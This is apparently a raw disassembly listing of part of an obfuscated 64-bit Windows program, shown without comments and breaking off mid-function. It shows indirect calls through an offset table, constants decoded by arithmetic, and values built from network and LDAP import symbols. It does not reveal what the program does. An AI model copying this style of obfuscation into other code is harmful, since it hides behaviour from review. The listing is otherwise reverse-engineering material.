mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f00b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0xc8], r14
jae 0x1400347e2
mov rax, qword [0x1402eff78]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b4c]
lea rdx, [0x140231bd5]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x524bd10effc39855
imul rax, qword [0x140292310]
movabs rcx, 0x741b7e95f198b42f
imul rcx, qword [0x140292318]
add rcx, rax
mov rax, qword [0x140292320]
mov r8, qword [0x140292328]
shrd r8, rax, 0x32
movabs rdx, 0xce79de89da8ac26f
add rdx, rcx
movabs rax, 0xc07ee6ea1e76686d
xor rax, r8
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x140034899
mov rax, qword [0x1402f00c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402f00c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
jbe 0x140034834
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402f00d0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e548]
movzx eax, word [rcx + rax*2]
mov word [rbx + rsi], ax
mov rax, qword [0x1402f00d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_26]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_27]
shl eax, 5
lea eax, [rax + rax*2]
neg eax
mov edx, ecx
shl edx, 6
lea ecx, [rdx + rcx*4]
add cl, al
add cl, 0x94
mov byte [rbx + rdi], cl
mov rsi, r14
mov r14, qword [rbp + 0x58]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402f00e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292330]
mov rcx, qword [0x140292338]
shrd rcx, rax, 0x32
movabs rax, 0xba3449fd3429720
xor rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f00e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f00f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292340]
movzx ecx, byte [0x140292341]
lea edx, [rax + rax*4]
lea eax, [rax + rdx*2]
mov edx, ecx
lea ecx, [rcx*8]
sub edx, ecx
mov ecx, edx
add cl, al
add cl, 0x7d
mov byte [rsi], cl
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f00f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e570]
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0x88], r14
jae 0x140034a1d
mov rax, qword [0x1402f0110]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b54]
lea rdx, [0x140231c0d]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x732a1075c0e1411d
imul rax, qword [0x140292348]
movabs rcx, 0x9c84bc4935b1995d
imul rcx, qword [0x140292350]
add rcx, rax
mov rax, qword [0x140292358]
mov r8, qword [0x140292360]
shrd r8, rax, 0x2b
movabs rdx, 0x8c265e4a808171e9
add rdx, rcx
movabs rax, 0x4e32473e50417a77
xor rax, r8
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x140034adb
mov rax, qword [0x1402f0100]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e590]
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402f0108]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
jbe 0x140034a6f
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402f0110]
add rax, r12
sub rsp, 0x20
lea rcx, [0x1404a5b54]
lea rdx, [0x140231c0d]
call rax
add rsp, 0x20
mov rax, qword [0x1404a5b54]
mov qword [rbx + rsi], rax
mov eax, dword [0x1404a5b5b]
mov dword [rbx + rsi + 7], eax
mov rax, qword [0x1402f0118]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292342]
movzx ecx, byte [0x140292343]
shr cl, 2
shl al, 6
or al, cl
xor al, 0xf6
mov byte [rbx + rdi], al
mov rsi, r14
mov r13, qword [rbp + 0xa0]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov rax, qword [0x1402f0120]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x576c4539571c50ae
imul rax, qword [0x140292368]
movabs rcx, 0x6224c6457f60c92
imul rcx, qword [0x140292370]
add rcx, rax
movabs rax, 0x3fb786509f539d7c
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0128]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0130]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292378]
movzx ecx, byte [reloc.WS2_32.dll_getpeername]
shr cl, 7
add al, al
or al, cl
xor al, 0xca
mov byte [rsi], al
mov rbx, qword [rbp + 0x50]
mov rsi, qword [rbx + 0x10]
mov rdi, qword [rbx + 0x18]
mov rax, qword [0x1402f0138]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r14, rbx
cmp rdi, qword [rcx + rax*8]
jbe 0x140034bc6
mov r14, qword [rbx]
mov rbx, qword [r13 + 0x10]
mov r15, qword [r13 + 0x18]
mov rax, r15
sub rax, rbx
cmp rax, rsi
mov qword [rbp + 0x90], r13
jae 0x140034c05
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov rcx, r13
mov rdx, rsi
mov r9, r14
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x140034c8b
lea rdi, [rbx + rsi]
mov qword [r13 + 0x10], rdi
mov rax, qword [0x1402f0140]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r13
cmp r15, qword [rdx + rcx*8]
jbe 0x140034c38
mov rax, qword [r13]
mov r15, rax
mov rcx, rbx
add rcx, rax
sub rsp, 0x20
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f0148]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x14029237a]
movzx ecx, byte [0x14029237b]
imul eax, eax, 0x75
shl ecx, 5
lea ecx, [rcx + rcx*2]
add cl, al
add cl, 0xa8
mov byte [r15 + rdi], cl
mov rsi, r13
mov r14, qword [rbp + 0x60]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402f0150]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292380]
mov rcx, qword [0x140292388]
shrd rcx, rax, 0x30
movabs rax, 0x1030f5b9c7ab1075
xor rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0158]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0160]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WS2_32.dll_accept]
movzx ecx, byte [0x140292391]
lea edx, [rax + rax*4]
lea eax, [rax + rdx*2]
imul ecx, ecx, 0x68
add cl, al
add cl, 0xed
mov byte [rsi], cl
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f0168]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
cmp rdi, qword [rcx + rax*8]
jae 0x140034e17
mov rax, qword [0x1402eff78]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b4c]
lea rdx, [0x140231bd5]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x5063ecd8746f2d2a
imul rax, qword [0x140292398]
movabs rcx, 0x98ce07a48eea9966
imul rcx, qword [0x1402923a0]
add rcx, rax
mov rax, qword [0x1402923a8]
mov r8, qword [0x1402923b0]
shrd r8, rax, 0x1e
movabs rdx, 0xb399ec60b3cc17e2
add rdx, rcx
movabs rax, 0x1e28ea4ed3aa2df6
xor rax, r8
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x80], r14
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
mov r15, qword [rbp + 0x78]
mov r13, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0x80]
jmp 0x140034ed2
mov rax, qword [0x1402f0170]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402f0178]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
mov r15, qword [rbp + 0x78]
mov r13, qword [rbp + 0xc0]
jbe 0x140034e74
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402f0180]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, str.__n__n__n
movzx eax, word [rcx + rax*2]
mov word [rbx + rsi], ax
mov rax, qword [0x1402f0188]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1404a74f3]
movzx ecx, byte [reloc.OLEAUT32.dll_SysStringLen]
imul eax, eax, 0x73
imul ecx, ecx, 0x7d
add cl, al
add cl, 0x12
mov byte [rbx + rdi], cl
mov rsi, r14
mov rdi, r14
mov r14, qword [rbp + 0x68]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402f0190]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402923b8]
mov rcx, qword [0x1402923c0]
shrd rcx, rax, 0x2d
movabs rax, 0xbaa0b37b177168e8
xor rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0198]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f01a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movzx ecx, byte [0x1402923c9]
imul eax, eax, 0xffffff91
imul ecx, ecx, 0xffffffeb
add cl, al
add cl, 0xd9
mov byte [rsi], cl
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f01a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035092
mov r13, r15
mov r15, r14
mov r14, rdi
mov rbx, qword [rdi]
mov rax, qword [0x1402f01b0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f01b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e710]
cmp rdi, qword [rcx + rax*8]
jbe 0x140035068
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f01c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e730]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f01c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f01d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e770]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x14003506e
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, r14
mov r14, r15
mov r15, r13
mov r13, qword [rbp + 0xc0]
mov rax, qword [0x1402f01e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x8c352ff1e2593edf
imul rax, qword [0x1402923d0]
movabs rcx, 0x21c2fc33c12decbf
imul rcx, qword [0x1402923d8]
add rcx, rax
movabs rax, 0xbdaf576f6ad54c2c
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f01f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f01f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_45]
movzx ecx, byte [reloc.WS2_32.dll_listen]
shr cl, 7
add al, al
or al, cl
xor al, 0x5a
mov byte [rdi], al
mov rdi, qword [rbp + 0x90]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0200]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035257
mov r13, r15
mov r15, r14
mov r14, rdi
mov rbx, qword [rdi]
mov rax, qword [0x1402f0208]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0210]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e7f0]
cmp rdi, qword [rcx + rax*8]
jbe 0x14003522d
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0218]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e810]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0220]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0228]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e850]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140035233
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, r14
mov r14, r15
mov r15, r13
mov r13, qword [rbp + 0xc0]
mov rax, qword [0x1402f0230]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x3fbd3114c7ef6d05
imul rax, qword [0x1402923e8]
movabs rcx, 0x9b1d1240fcd951bd
imul rcx, qword [0x1402923f0]
add rcx, rax
movabs rax, 0x950de5305f233281
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0238]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0240]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402923f8]
movzx ecx, byte [0x1402923f9]
shr cl, 2
shl al, 6
or al, cl
xor al, 0xa7
mov byte [rdi], al
mov rdi, qword [rbp + 0x88]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0248]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x14003541d
mov r13, r15
mov r15, r14
mov r14, rdi
mov rbx, qword [rdi]
mov rax, qword [0x1402f0250]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0258]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e8d0]
cmp rdi, qword [rcx + rax*8]
jbe 0x1400353f3
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0260]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e8f0]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0268]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0270]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e930]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x1400353f9
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, r14
mov r14, r15
mov r15, r13
mov r13, qword [rbp + 0xc0]
mov rax, qword [0x1402f0278]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292400]
mov rcx, qword [0x140292408]
shrd rcx, rax, 0x37
movabs rax, 0xa09c33bec48ae2fa
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0280]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0288]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292410]
movzx ecx, byte [reloc.WS2_32.dll_ntohs]
shl eax, 3
lea eax, [rax + rax*8]
neg eax
imul ecx, ecx, 0xffffffd5
add cl, al
add cl, 0x8d
mov byte [rdi], cl
mov rdi, qword [rbp + 0xc8]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0290]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x1400355c3
mov rbx, qword [rdi]
mov rax, qword [0x1402f0298]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f02a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e9b0]
cmp rdi, qword [rcx + rax*8]
jbe 0x1400355a2
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f02a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e9d0]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f02b0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f02b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ea10]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x1400355a8
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xc8]
mov rax, qword [0x1402f02c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292418]
mov rcx, qword [0x140292420]
shrd rcx, rax, 0x15
movabs rax, 0x95faf5e68040474f
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f02c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f02d0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292428]
movzx ecx, byte [0x140292429]
imul eax, eax, 0xffffffb6
imul ecx, ecx, 0xffffffd6
add cl, al
add cl, 0x8a
mov byte [rdi], cl
mov rdi, qword [rbp + 0xb8]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f02d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035764
mov rbx, qword [rdi]
mov rax, qword [0x1402f02e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f02e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ea90]
cmp rdi, qword [rcx + rax*8]
jbe 0x140035743
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f02f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023eab0]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f02f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0300]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023eaf0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140035749
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xb8]
mov rax, qword [0x1402f0308]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292430]
mov rcx, qword [0x140292438]
shrd rcx, rax, 0x33
movabs rax, 0x1635470dec5557cf
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0310]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0318]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292440]
movzx ecx, byte [0x140292441]
shr cl, 5
shl al, 3
or al, cl
xor al, 0xec
mov byte [rdi], al
mov rdi, qword [rbp + 0x98]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0320]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035916
mov r13, r15
mov r15, r14
mov r14, rdi
mov rbx, qword [rdi]
mov rax, qword [0x1402f0328]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0330]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023eb70]
cmp rdi, qword [rcx + rax*8]
jbe 0x1400358ec
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0338]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023eb90]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0340]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0348]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ebd0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x1400358f2
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, r14
mov r14, r15
mov r15, r13
mov r13, qword [rbp + 0xc0]
mov rax, qword [0x1402f0350]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x8e8ade5e17992e6d
imul rax, qword [0x140292448]
movabs rcx, 0xffd84ec5255029a6
imul rcx, qword [0x140292450]
add rcx, rax
movabs rax, 0x92a9a3577e3319bf
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0358]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0360]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292458]
movzx ecx, byte [0x140292459]
lea eax, [rax + rax*8]
lea eax, [rax + rax*2]
imul ecx, ecx, 0x74
add cl, al
add cl, 0xe1
mov byte [rdi], cl
mov rdi, qword [rbp + 0xb0]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0368]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035ace
mov rbx, qword [rdi]
mov rax, qword [0x1402f0370]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0378]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ec50]
cmp rdi, qword [rcx + rax*8]
jbe 0x140035aad
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0380]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ec70]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0388]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0390]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ecb0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140035ab3
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xb0]
mov rax, qword [0x1402f0398]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292460]
mov rcx, qword [0x140292468]
shrd rcx, rax, 0x1e
movabs rax, 0xc9834788652e9773
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f03a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f03a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292470]
movzx ecx, byte [0x140292471]
shr cl, 4
shl al, 4
or al, cl
